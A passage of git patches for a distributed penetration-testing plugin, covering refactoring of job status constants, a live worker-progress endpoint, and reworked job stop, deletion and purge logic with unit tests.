JOB_STATUS_FINALIZED self._emit_timeline_event(job_specs, "scan_completed", "Scan completed") self.P(f"[SINGLEPASS] Job {job_id} complete. Status set to FINALIZED.") self._emit_timeline_event(job_specs, "finalized", "Job finalized") @@ -1859,8 +1869,8 @@ def _maybe_finalize_pass(self): # CONTINUOUS_MONITORING logic below # Check if soft stop was scheduled — build archive and prune CStore - if job_status == "SCHEDULED_FOR_STOP": - job_specs["job_status"] = "STOPPED" + if job_status == JOB_STATUS_SCHEDULED_FOR_STOP: + job_specs["job_status"] = JOB_STATUS_STOPPED self._emit_timeline_event(job_specs, "scan_completed", f"Scan completed (pass {job_pass})") self.P(f"[CONTINUOUS] Pass {job_pass} complete for job {job_id}. Status set to STOPPED (soft stop was scheduled)") self._emit_timeline_event(job_specs, "stopped", "Job stopped") @@ -1881,7 +1891,7 @@ def _maybe_finalize_pass(self): if job_id in self.lst_completed_jobs: self.lst_completed_jobs.remove(job_id) - elif run_mode == "CONTINUOUS_MONITORING" and all_finished and next_pass_at and self.time() >= next_pass_at: + elif run_mode == RUN_MODE_CONTINUOUS_MONITORING and all_finished and next_pass_at and self.time() >= next_pass_at: # ═══════════════════════════════════════════════════ # STATE: Interval elapsed, start next pass # ═══════════════════════════════════════════════════ @@ -2162,16 +2172,16 @@ def launch_test( distribution_strategy = str(distribution_strategy).upper() - if not distribution_strategy or distribution_strategy not in ["MIRROR", "SLICE"]: + if not distribution_strategy or distribution_strategy not in [DISTRIBUTION_MIRROR, DISTRIBUTION_SLICE]: distribution_strategy = self.cfg_distribution_strategy port_order = str(port_order).upper() - if not port_order or port_order not in ["SHUFFLE", "SEQUENTIAL"]: + if not port_order or port_order not in [PORT_ORDER_SHUFFLE, PORT_ORDER_SEQUENTIAL]: port_order = self.cfg_port_order # Validate run_mode and monitor_interval run_mode = str(run_mode).upper() - if not run_mode or run_mode not in ["SINGLEPASS", "CONTINUOUS_MONITORING"]: + if not run_mode or run_mode not in [RUN_MODE_SINGLEPASS, RUN_MODE_CONTINUOUS_MONITORING]: run_mode = self.cfg_run_mode if monitor_interval <= 0: monitor_interval = self.cfg_monitor_interval @@ -2213,7 +2223,7 @@ def launch_test( raise ValueError("No workers available for job execution.") workers = {} - if distribution_strategy == "MIRROR": + if distribution_strategy == DISTRIBUTION_MIRROR: for address in active_peers: workers[address] = { "start_port": start_port, @@ -2221,7 +2231,7 @@ def launch_test( "finished": False, "result": None } - # else if selected strategy is "SLICE" + # else if selected strategy is SLICE else: total_ports = end_port - start_port + 1 @@ -2304,7 +2314,7 @@ def launch_test( "timeline": [], "workers" : workers, # Job lifecycle: RUNNING | SCHEDULED_FOR_STOP | STOPPED | FINALIZED - "job_status": "RUNNING", + "job_status": JOB_STATUS_RUNNING, # Continuous monitoring fields "run_mode": run_mode, "job_pass": 1, @@ -2602,7 +2612,7 @@ def purge_job(self, job_id: str): workers = job_specs.get("workers", {}) if workers and any(not w.get("finished") for w in workers.values()): return {"status": "error", "message": "Cannot purge a running job. Stop it first."} - if job_status not in ("FINALIZED", "STOPPED") and workers: + if job_status not in (JOB_STATUS_FINALIZED, JOB_STATUS_STOPPED) and workers: return {"status": "error", "message": "Cannot purge a running job. Stop it first."} # Collect all CIDs (deduplicated) @@ -2743,19 +2753,19 @@ def stop_monitoring(self, job_id: str, stop_type: str = "SOFT"): return {"error": "Job not found", "job_id": job_id} _, job_specs = self._normalize_job_record(job_id, raw_job_specs) - if job_specs.get("run_mode") != "CONTINUOUS_MONITORING": + if job_specs.get("run_mode") != RUN_MODE_CONTINUOUS_MONITORING: return {"error": "Job is not in CONTINUOUS_MONITORING mode", "job_id": job_id} stop_type = str(stop_type).upper() passes_completed = job_specs.get("job_pass", 1) if stop_type == "HARD": - job_specs["job_status"] = "STOPPED" + job_specs["job_status"] = JOB_STATUS_STOPPED self._emit_timeline_event(job_specs, "stopped", "Job stopped", actor_type="user") self.P(f"[CONTINUOUS] Hard stop for job {job_id} after {passes_completed} passes") else: # SOFT stop - let current pass complete - job_specs["job_status"] = "SCHEDULED_FOR_STOP" + job_specs["job_status"] = JOB_STATUS_SCHEDULED_FOR_STOP self._emit_timeline_event(job_specs, "scheduled_for_stop", "Stop scheduled", actor_type="user") self.P(f"[CONTINUOUS] Soft stop scheduled for job {job_id} (will stop after current pass)") @@ -2942,10 +2952,10 @@ def get_analysis(self, job_id: str = "", cid: str = "", pass_nr: int = None): # Look for analysis in pass_reports pass_reports = job_specs.get("pass_reports", []) - job_status = job_specs.get("job_status", "RUNNING") + job_status = job_specs.get("job_status", JOB_STATUS_RUNNING) if not pass_reports: - if job_status == "RUNNING": + if job_status == JOB_STATUS_RUNNING: return {"error": "Job still running, no passes completed yet", "job_id": job_id, "job_status": job_status} return {"error": "No pass reports available for this job", "job_id": job_id, "job_status": job_status} diff --git a/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py b/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py index ae9be4b6..7401ee3a 100644 --- a/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py +++ b/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py @@ -12,6 +12,8 @@ class PentesterApi01Plugin(_LlmAgentMixin, BasePlugin): import requests from typing import Optional +from .constants import RUN_MODE_SINGLEPASS + class _RedMeshLlmAgentMixin(object): """ @@ -272,7 +274,7 @@ def _run_aggregated_llm_analysis( "start_port": job_config.get("start_port"), "end_port": job_config.get("end_port"), "enabled_features": job_config.get("enabled_features", []), - "run_mode": job_config.get("run_mode", "SINGLEPASS"), + "run_mode": job_config.get("run_mode", RUN_MODE_SINGLEPASS), } # Call LLM analysis @@ -331,7 +333,7 @@ def _run_quick_summary_analysis( "start_port": job_config.get("start_port"), "end_port": job_config.get("end_port"), "enabled_features": job_config.get("enabled_features", []), - "run_mode": job_config.get("run_mode", "SINGLEPASS"), + "run_mode": job_config.get("run_mode", RUN_MODE_SINGLEPASS), } # Call LLM analysis with quick_summary type From 870fdfd2cb19b2404ca2151a8c30da8ea7893746 Mon Sep 17 00:00:00 2001 From: toderian Date: Sat, 7 Mar 2026 23:04:11 +0000 Subject: [PATCH 014/114] feat: live worker progress endpoints and methods (phase 1) --- .../business/cybersec/red_mesh/constants.py | 8 +- .../cybersec/red_mesh/pentester_api_01.py | 127 ++++++++++++++++- .../cybersec/red_mesh/test_redmesh.py | 134 ++++++++++++++++++ 3 files changed, 267 insertions(+), 2 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/constants.py b/extensions/business/cybersec/red_mesh/constants.py index e16dedfd..c47d2c04 100644 --- a/extensions/business/cybersec/red_mesh/constants.py +++ b/extensions/business/cybersec/red_mesh/constants.py @@ -197,4 +197,10 @@ # ===================================================================== JOB_ARCHIVE_VERSION = 1 -MAX_CONTINUOUS_PASSES = 100 \ No newline at end of file +MAX_CONTINUOUS_PASSES = 100 + +# ===================================================================== +# Live progress publishing +# ===================================================================== + +PROGRESS_PUBLISH_INTERVAL = 20 # seconds between progress updates to CStore diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index fd4eb6b0..866b35d1 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -40,7 +40,7 @@ from .redmesh_llm_agent_mixin import _RedMeshLlmAgentMixin from .models import ( JobConfig, PassReport, PassReportRef, WorkerReportMeta, AggregatedScanData, - CStoreJobFinalized, UiAggregate, JobArchive, + CStoreJobFinalized, UiAggregate, JobArchive, WorkerProgress, ) from .constants import ( FEATURE_CATALOG, @@ -65,6 +65,7 @@ LOCAL_WORKERS_MIN, LOCAL_WORKERS_MAX, LOCAL_WORKERS_DEFAULT, + PROGRESS_PUBLISH_INTERVAL, ) __VER__ = '0.9.0' @@ -164,6 +165,7 @@ def on_init(self): self.lst_completed_jobs = [] # List of completed jobs self._audit_log = [] # Structured audit event log self.__last_checked_jobs = 0 + self._last_progress_publish = 0 # timestamp of last live progress publish self.__warmupstart = self.time() self.__warmup_done = False # Defer readiness if waiting for semaphore dependencies (e.g., LLM Agent) @@ -1864,6 +1866,7 @@ def _maybe_finalize_pass(self): self.P(f"[SINGLEPASS] Job {job_id} complete. Status set to FINALIZED.") self._emit_timeline_event(job_specs, "finalized", "Job finalized") self._build_job_archive(job_key, job_specs) + self._clear_live_progress(job_id, list(workers.keys())) continue # CONTINUOUS_MONITORING logic below @@ -1875,6 +1878,7 @@ def _maybe_finalize_pass(self): self.P(f"[CONTINUOUS] Pass {job_pass} complete for job {job_id}. Status set to STOPPED (soft stop was scheduled)") self._emit_timeline_event(job_specs, "stopped", "Job stopped") self._build_job_archive(job_key, job_specs) + self._clear_live_progress(job_id, list(workers.keys())) continue # Schedule next pass @@ -1885,6 +1889,7 @@ def _maybe_finalize_pass(self): self.P(f"[CONTINUOUS] Pass {job_pass} complete for job {job_id}. Next pass in {interval}s (+{jitter:.1f}s jitter)") self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=job_specs) + self._clear_live_progress(job_id, list(workers.keys())) # Clear from completed_jobs_reports to allow relaunch self.completed_jobs_reports.pop(job_id, None) @@ -2491,6 +2496,34 @@ def get_job_archive(self, job_id: str): return {"job_id": job_id, "archive": archive} + @BasePlugin.endpoint + def get_job_progress(self, job_id: str): + """ + Real-time progress for all workers in a job. + + Reads from the `:live` CStore hset and returns only entries + matching the requested job_id. + + Parameters + ---------- + job_id : str + Identifier of the job. + + Returns + ------- + dict + Workers progress keyed by worker address. + """ + live_hkey = f"{self.cfg_instance_id}:live" + all_progress = self.chainstore_hgetall(hkey=live_hkey) or {} + prefix = f"{job_id}:" + result = {} + for key, value in all_progress.items(): + if key.startswith(prefix) and value is not None: + worker_addr = key[len(prefix):] + result[worker_addr] = value + return {"job_id": job_id, "workers": result} + @BasePlugin.endpoint def list_network_jobs(self): """ @@ -3025,6 +3058,96 @@ def llm_health(self): return self._get_llm_health_status() + def _publish_live_progress(self): + """ + Publish aggregated live progress for all active local scan jobs. + + Aggregates thread-level stats into one WorkerProgress entry per job + and writes to the `:live` CStore hset. Called periodically from process(). + """ + now = self.time() + if now - self._last_progress_publish < PROGRESS_PUBLISH_INTERVAL: + return + self._last_progress_publish = now + + live_hkey = f"{self.cfg_instance_id}:live" + ee_addr = self.ee_addr + + for job_id, local_workers in self.scan_jobs.items(): + if not local_workers: + continue + + # Aggregate across all local threads + total_scanned = 0 + total_ports = 0 + all_open = set() + all_tests = set() + all_done = True + + for worker in local_workers.values(): + state = worker.state + total_scanned += len(state.get("ports_scanned", [])) + total_ports += len(worker.initial_ports) + all_open.update(state.get("open_ports", [])) + all_tests.update(state.get("completed_tests", [])) + if not state.get("done"): + all_done = False + + # Determine current phase from completed_tests + if "correlation_completed" in all_tests: + phase = "done" + elif "web_tests_completed" in all_tests: + phase = "correlation" + elif "service_info_completed" in all_tests: + phase = "web_tests" + elif "fingerprint_completed" in all_tests: + phase = "service_probes" + else: + phase = "port_scan" + + # Look up pass number from CStore + job_specs = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) + pass_nr = 1 + if isinstance(job_specs, dict): + pass_nr = job_specs.get("job_pass", 1) + + progress = WorkerProgress( + job_id=job_id, + worker_addr=ee_addr, + pass_nr=pass_nr, + progress=round((total_scanned / total_ports) * 100, 1) if total_ports else 0, + phase=phase, + ports_scanned=total_scanned, + ports_total=total_ports, + open_ports_found=sorted(all_open), + completed_tests=sorted(all_tests), + updated_at=now, + ) + self.chainstore_hset( + hkey=live_hkey, + key=f"{job_id}:{ee_addr}", + value=progress.to_dict(), + ) + + def _clear_live_progress(self, job_id, worker_addresses): + """ + Remove live progress keys for a completed job. + + Parameters + ---------- + job_id : str + Job identifier. + worker_addresses : list[str] + Worker addresses whose progress keys should be removed. + """ + live_hkey = f"{self.cfg_instance_id}:live" + for addr in worker_addresses: + self.chainstore_hset( + hkey=live_hkey, + key=f"{job_id}:{addr}", + value=None, # delete + ) + def process(self): """ Periodic task handler: launch new jobs and close completed ones. @@ -3051,6 +3174,8 @@ def process(self): #endif # Launch any new jobs self._maybe_launch_jobs() + # Publish live progress for active scans + self._publish_live_progress() # Check active jobs for completion self._maybe_close_jobs() # Finalize completed passes and handle continuous monitoring (launcher only) diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index e8c738a4..0c1d8533 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -3696,6 +3696,139 @@ def test_get_job_archive_r1fs_failure(self): self.assertEqual(result["error"], "fetch_failed") +class TestPhase12LiveProgress(unittest.TestCase): + """Phase 12: Live Worker Progress.""" + + @classmethod + def _mock_plugin_modules(cls): + if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: + return + TestPhase1ConfigCID._mock_plugin_modules() + + def _get_plugin_class(self): + self._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + return PentesterApi01Plugin + + def test_worker_progress_model_roundtrip(self): + """WorkerProgress.from_dict(wp.to_dict()) preserves all fields.""" + from extensions.business.cybersec.red_mesh.models import WorkerProgress + wp = WorkerProgress( + job_id="job-1", + worker_addr="0xWorkerA", + pass_nr=2, + progress=45.5, + phase="service_probes", + ports_scanned=500, + ports_total=1024, + open_ports_found=[22, 80, 443], + completed_tests=["fingerprint_completed", "service_info_completed"], + updated_at=1700000000.0, + live_metrics={"total_duration": 30.5}, + ) + d = wp.to_dict() + wp2 = WorkerProgress.from_dict(d) + self.assertEqual(wp2.job_id, "job-1") + self.assertEqual(wp2.worker_addr, "0xWorkerA") + self.assertEqual(wp2.pass_nr, 2) + self.assertAlmostEqual(wp2.progress, 45.5) + self.assertEqual(wp2.phase, "service_probes") + self.assertEqual(wp2.ports_scanned, 500) + self.assertEqual(wp2.ports_total, 1024) + self.assertEqual(wp2.open_ports_found, [22, 80, 443]) + self.assertEqual(wp2.completed_tests, ["fingerprint_completed", "service_info_completed"]) + self.assertEqual(wp2.updated_at, 1700000000.0) + self.assertEqual(wp2.live_metrics, {"total_duration": 30.5}) + + def test_get_job_progress_filters_by_job(self): + """get_job_progress returns only workers for the requested job.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + + # Simulate two jobs' progress in the :live hset + live_data = { + "job-A:worker-1": {"job_id": "job-A", "progress": 50}, + "job-A:worker-2": {"job_id": "job-A", "progress": 75}, + "job-B:worker-3": {"job_id": "job-B", "progress": 30}, + } + plugin.chainstore_hgetall.return_value = live_data + + result = Plugin.get_job_progress(plugin, job_id="job-A") + self.assertEqual(result["job_id"], "job-A") + self.assertEqual(len(result["workers"]), 2) + self.assertIn("worker-1", result["workers"]) + self.assertIn("worker-2", result["workers"]) + self.assertNotIn("worker-3", result["workers"]) + + def test_get_job_progress_empty(self): + """get_job_progress for non-existent job returns empty workers dict.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.chainstore_hgetall.return_value = {} + + result = Plugin.get_job_progress(plugin, job_id="nonexistent") + self.assertEqual(result["job_id"], "nonexistent") + self.assertEqual(result["workers"], {}) + + def test_publish_live_progress(self): + """_publish_live_progress writes progress to CStore :live hset.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.ee_addr = "node-A" + plugin._last_progress_publish = 0 + plugin.time.return_value = 100.0 + + # Mock a local worker with state + worker = MagicMock() + worker.state = { + "ports_scanned": list(range(100)), + "open_ports": [22, 80], + "completed_tests": ["fingerprint_completed"], + "done": False, + } + worker.initial_ports = list(range(1, 513)) + + plugin.scan_jobs = {"job-1": {"worker-thread-1": worker}} + + # Mock CStore lookup for pass_nr + plugin.chainstore_hget.return_value = {"job_pass": 3} + + Plugin._publish_live_progress(plugin) + + # Verify hset was called with correct key pattern + plugin.chainstore_hset.assert_called_once() + call_args = plugin.chainstore_hset.call_args + self.assertEqual(call_args.kwargs["hkey"], "test-instance:live") + self.assertEqual(call_args.kwargs["key"], "job-1:node-A") + progress_data = call_args.kwargs["value"] + self.assertEqual(progress_data["job_id"], "job-1") + self.assertEqual(progress_data["worker_addr"], "node-A") + self.assertEqual(progress_data["pass_nr"], 3) + self.assertEqual(progress_data["phase"], "service_probes") + self.assertEqual(progress_data["ports_scanned"], 100) + self.assertEqual(progress_data["ports_total"], 512) + self.assertIn(22, progress_data["open_ports_found"]) + self.assertIn(80, progress_data["open_ports_found"]) + + def test_clear_live_progress(self): + """_clear_live_progress deletes progress keys for all workers.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + + Plugin._clear_live_progress(plugin, "job-1", ["worker-A", "worker-B"]) + + self.assertEqual(plugin.chainstore_hset.call_count, 2) + calls = plugin.chainstore_hset.call_args_list + keys_deleted = {c.kwargs["key"] for c in calls} + self.assertEqual(keys_deleted, {"job-1:worker-A", "job-1:worker-B"}) + for c in calls: + self.assertIsNone(c.kwargs["value"]) + + class VerboseResult(unittest.TextTestResult): def addSuccess(self, test): super().addSuccess(test) @@ -3714,4 +3847,5 @@ def addSuccess(self, test): suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase4UiAggregate)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase3Archive)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase5Endpoints)) + suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase12LiveProgress)) runner.run(suite) From 316819d8fb1f953de68c27df6e19e1b96d4087f7 Mon Sep 17 00:00:00 2001 From: toderian Date: Sun, 8 Mar 2026 00:08:50 +0000 Subject: [PATCH 015/114] feat: job deletion & purge (phase 15) --- .../cybersec/red_mesh/pentester_api_01.py | 147 ++++++---- .../cybersec/red_mesh/test_redmesh.py | 253 ++++++++++++++++++ 2 files changed, 349 insertions(+), 51 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 866b35d1..21764d7f 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -1671,7 +1671,9 @@ def _build_job_archive(self, job_key, job_specs): cid = ref.get("report_cid") if cid: try: - self.r1fs.delete_file(cid, show_logs=False, raise_on_error=False) + success = self.r1fs.delete_file(cid, show_logs=False, raise_on_error=False) + if not success: + self.P(f"delete_file returned False for pass report CID {cid}", color='y') except Exception as e: self.P(f"Failed to clean up pass report CID {cid}: {e}", color='y') @@ -2581,19 +2583,20 @@ def list_local_jobs(self): @BasePlugin.endpoint def stop_and_delete_job(self, job_id : str): """ - Stop and delete a pentest job. + Stop a running job, mark it stopped, then delegate to purge_job + for full R1FS + CStore cleanup. Parameters ---------- job_id : str - Identifier of the job to stop. + Identifier of the job to stop and delete. Returns ------- dict - Status message and job_id. + Status of the purge operation including CID deletion counts. """ - # Stop the job if it's running + # Stop local workers if running local_workers = self.scan_jobs.get(job_id) if local_workers: self.P(f"Stopping and deleting job {job_id}.") @@ -2603,26 +2606,36 @@ def stop_and_delete_job(self, job_id : str): self.P(f"Job {job_id} stopped.") # Remove from active jobs self.scan_jobs.pop(job_id, None) + + # Mark as stopped in CStore so purge_job accepts it raw_job_specs = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) if isinstance(raw_job_specs, dict): _, job_specs = self._normalize_job_record(job_id, raw_job_specs) worker_entry = job_specs.setdefault("workers", {}).setdefault(self.ee_addr, {}) worker_entry["finished"] = True worker_entry["canceled"] = True + job_specs["job_status"] = JOB_STATUS_STOPPED self._emit_timeline_event(job_specs, "stopped", "Job stopped and deleted", actor_type="user") self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=job_specs) else: - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=None) - self.P(f"Job {job_id} deleted.") + # Job not found in CStore — nothing to purge + self._log_audit_event("scan_stopped", {"job_id": job_id}) + return {"status": "success", "job_id": job_id, "cids_deleted": 0, "cids_total": 0} + + # Delegate full cleanup to purge_job self._log_audit_event("scan_stopped", {"job_id": job_id}) - return {"status": "success", "job_id": job_id} + return self.purge_job(job_id) @BasePlugin.endpoint def purge_job(self, job_id: str): """ - Purge a job: delete all R1FS artifacts then tombstone the CStore entry. - Job must be finished/canceled — cannot purge a running job. + Purge a job: delete all R1FS artifacts, clean up live progress keys, + then tombstone the CStore entry. + + Safety invariant: delete ALL R1FS artifacts first, THEN tombstone CStore. + If R1FS deletion fails partway, leave CStore intact so CIDs remain + discoverable for a retry. Parameters ---------- @@ -2640,7 +2653,7 @@ def purge_job(self, job_id: str): _, job_specs = self._normalize_job_record(job_id, raw) - # Reject if job is still running (finalized stubs have no workers dict) + # Reject if job is still running job_status = job_specs.get("job_status", "") workers = job_specs.get("workers", {}) if workers and any(not w.get("finished") for w in workers.values()): @@ -2648,66 +2661,98 @@ def purge_job(self, job_id: str): if job_status not in (JOB_STATUS_FINALIZED, JOB_STATUS_STOPPED) and workers: return {"status": "error", "message": "Cannot purge a running job. Stop it first."} - # Collect all CIDs (deduplicated) + # ── Collect all CIDs (deduplicated) ── cids = set() + def _track(cid, source): + """Add CID and log where it was found.""" + if cid and isinstance(cid, str) and cid not in cids: + cids.add(cid) + self.P(f"[PURGE] Collected CID {cid} from {source}") + + # Job config CID + _track(job_specs.get("job_config_cid"), "job_specs.job_config_cid") + # Archive CID (finalized jobs) job_cid = job_specs.get("job_cid") if job_cid: - cids.add(job_cid) + _track(job_cid, "job_specs.job_cid") # Fetch archive to find nested CIDs try: archive = self.r1fs.get_json(job_cid) if isinstance(archive, dict): - for pass_data in archive.get("passes", []): - agg_cid = pass_data.get("aggregated_report_cid") - if agg_cid: - cids.add(agg_cid) - for wr in (pass_data.get("worker_reports") or {}).values(): - if isinstance(wr, dict) and wr.get("report_cid"): - cids.add(wr["report_cid"]) - except Exception: - pass # best-effort - - # Worker report CIDs (running jobs only — finalized stubs have no workers) + self.P(f"[PURGE] Archive fetched OK, {len(archive.get('passes', []))} passes") + for pi, pass_data in enumerate(archive.get("passes", [])): + _track(pass_data.get("aggregated_report_cid"), f"archive.passes[{pi}].aggregated_report_cid") + for addr, wr in (pass_data.get("worker_reports") or {}).items(): + if isinstance(wr, dict): + _track(wr.get("report_cid"), f"archive.passes[{pi}].worker_reports[{addr}].report_cid") + else: + self.P(f"[PURGE] Archive fetch returned non-dict: {type(archive)}", color='y') + except Exception as e: + self.P(f"[PURGE] Failed to fetch archive {job_cid}: {e}", color='r') + + # Worker report CIDs (running/stopped jobs — finalized stubs have no workers) for addr, w in workers.items(): - cid = w.get("report_cid") - if cid: - cids.add(cid) + _track(w.get("report_cid"), f"workers[{addr}].report_cid") - # Collect CIDs from pass reports (PassReportRef entries — running jobs only) - for ref in job_specs.get("pass_reports", []): + # Pass report CIDs + nested CIDs (running/stopped jobs) + for ri, ref in enumerate(job_specs.get("pass_reports", [])): report_cid = ref.get("report_cid") if report_cid: - cids.add(report_cid) - # Fetch PassReport to find nested CIDs (aggregated_report_cid, worker report CIDs) + _track(report_cid, f"pass_reports[{ri}].report_cid") try: pass_data = self.r1fs.get_json(report_cid) if isinstance(pass_data, dict): - agg_cid = pass_data.get("aggregated_report_cid") - if agg_cid: - cids.add(agg_cid) - for wr in (pass_data.get("worker_reports") or {}).values(): - if isinstance(wr, dict) and wr.get("report_cid"): - cids.add(wr["report_cid"]) - except Exception: - pass # best-effort — still delete what we can - - # Collect job config CID - config_cid = job_specs.get("job_config_cid") - if config_cid: - cids.add(config_cid) - - # Delete from R1FS (best-effort) - deleted = 0 + _track(pass_data.get("aggregated_report_cid"), f"pass_reports[{ri}]->aggregated_report_cid") + for addr, wr in (pass_data.get("worker_reports") or {}).items(): + if isinstance(wr, dict): + _track(wr.get("report_cid"), f"pass_reports[{ri}]->worker_reports[{addr}].report_cid") + else: + self.P(f"[PURGE] Pass report fetch returned non-dict: {type(pass_data)}", color='y') + except Exception as e: + self.P(f"[PURGE] Failed to fetch pass report {report_cid}: {e}", color='r') + + self.P(f"[PURGE] Total CIDs collected: {len(cids)}: {sorted(cids)}") + + # ── Delete R1FS artifacts ── + deleted, failed = 0, 0 for cid in cids: try: - self.r1fs.delete_file(cid, show_logs=False, raise_on_error=False) - deleted += 1 + success = self.r1fs.delete_file(cid, show_logs=True, raise_on_error=False) + if success: + deleted += 1 + self.P(f"[PURGE] Deleted CID {cid}") + else: + failed += 1 + self.P(f"[PURGE] delete_file returned False for CID {cid}", color='r') except Exception as e: - self.P(f"Failed to delete CID {cid}: {e}", color='y') + self.P(f"[PURGE] Failed to delete CID {cid}: {e}", color='r') + failed += 1 + + if failed > 0: + # Some CIDs couldn't be deleted — leave CStore intact for retry + self.P(f"Purge incomplete: {failed}/{len(cids)} CIDs failed. CStore kept.", color='r') + return { + "status": "partial", + "job_id": job_id, + "cids_deleted": deleted, + "cids_failed": failed, + "cids_total": len(cids), + "message": "Some R1FS artifacts could not be deleted. Retry purge later.", + } + + # ── Clean up live progress keys ── + all_live = self.chainstore_hgetall(hkey=f"{self.cfg_instance_id}:live") + if isinstance(all_live, dict): + prefix = f"{job_id}:" + for key in all_live: + if key.startswith(prefix): + self.chainstore_hset( + hkey=f"{self.cfg_instance_id}:live", key=key, value=None + ) - # Tombstone CStore entry + # ── ALL R1FS artifacts deleted — safe to tombstone CStore ── self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=None) self.P(f"Purged job {job_id}: {deleted}/{len(cids)} CIDs deleted.") diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index 0c1d8533..ad72c5b0 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -3829,6 +3829,258 @@ def test_clear_live_progress(self): self.assertIsNone(c.kwargs["value"]) +class TestPhase14Purge(unittest.TestCase): + """Phase 14: Job Deletion & Purge.""" + + @classmethod + def _mock_plugin_modules(cls): + if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: + return + TestPhase1ConfigCID._mock_plugin_modules() + + def _get_plugin_class(self): + self._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + return PentesterApi01Plugin + + def _make_plugin(self): + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.ee_addr = "node-A" + return plugin + + def test_purge_finalized_collects_all_cids(self): + """Finalized purge collects archive + config + aggregated_report + worker report CIDs.""" + Plugin = self._get_plugin_class() + plugin = self._make_plugin() + + # CStore stub for a finalized job + job_specs = { + "job_id": "job-1", + "job_status": "FINALIZED", + "job_cid": "cid-archive", + "job_config_cid": "cid-config", + } + plugin.chainstore_hget.return_value = job_specs + + # Archive contains nested CIDs + archive = { + "passes": [ + { + "aggregated_report_cid": "cid-agg-1", + "worker_reports": { + "worker-A": {"report_cid": "cid-wr-A"}, + "worker-B": {"report_cid": "cid-wr-B"}, + }, + }, + ], + } + plugin.r1fs.get_json.return_value = archive + plugin.r1fs.delete_file.return_value = True + plugin.chainstore_hgetall.return_value = {} + + # Normalize returns the specs as-is + plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) + + result = Plugin.purge_job(plugin, "job-1") + self.assertEqual(result["status"], "success") + + # Verify all 5 CIDs were deleted + deleted_cids = {c.args[0] for c in plugin.r1fs.delete_file.call_args_list} + self.assertEqual(deleted_cids, {"cid-archive", "cid-config", "cid-agg-1", "cid-wr-A", "cid-wr-B"}) + self.assertEqual(result["cids_deleted"], 5) + self.assertEqual(result["cids_total"], 5) + + def test_purge_finalized_no_pass_report_cids(self): + """Finalized purge does NOT try to delete individual pass report CIDs (they are inside archive).""" + Plugin = self._get_plugin_class() + plugin = self._make_plugin() + + job_specs = { + "job_id": "job-1", + "job_status": "FINALIZED", + "job_cid": "cid-archive", + # No pass_reports key — finalized stubs don't have them + } + plugin.chainstore_hget.return_value = job_specs + plugin.r1fs.get_json.return_value = {"passes": []} + plugin.r1fs.delete_file.return_value = True + plugin.chainstore_hgetall.return_value = {} + plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) + + result = Plugin.purge_job(plugin, "job-1") + self.assertEqual(result["status"], "success") + + # Only archive CID should be deleted (no pass_reports, no config, no workers) + deleted_cids = {c.args[0] for c in plugin.r1fs.delete_file.call_args_list} + self.assertEqual(deleted_cids, {"cid-archive"}) + + def test_purge_running_collects_all_cids(self): + """Stopped (was running) purge collects config + worker CIDs + pass report CIDs + nested CIDs.""" + Plugin = self._get_plugin_class() + plugin = self._make_plugin() + + job_specs = { + "job_id": "job-1", + "job_status": "STOPPED", + "job_config_cid": "cid-config", + "workers": { + "node-A": {"finished": True, "canceled": True, "report_cid": "cid-wr-A"}, + }, + "pass_reports": [ + {"report_cid": "cid-pass-1"}, + ], + } + plugin.chainstore_hget.return_value = job_specs + + # Pass report contains nested CIDs + pass_report = { + "aggregated_report_cid": "cid-agg-1", + "worker_reports": { + "node-A": {"report_cid": "cid-pass-wr-A"}, + }, + } + plugin.r1fs.get_json.return_value = pass_report + plugin.r1fs.delete_file.return_value = True + plugin.chainstore_hgetall.return_value = {} + plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) + + result = Plugin.purge_job(plugin, "job-1") + self.assertEqual(result["status"], "success") + + deleted_cids = {c.args[0] for c in plugin.r1fs.delete_file.call_args_list} + self.assertEqual(deleted_cids, {"cid-config", "cid-wr-A", "cid-pass-1", "cid-agg-1", 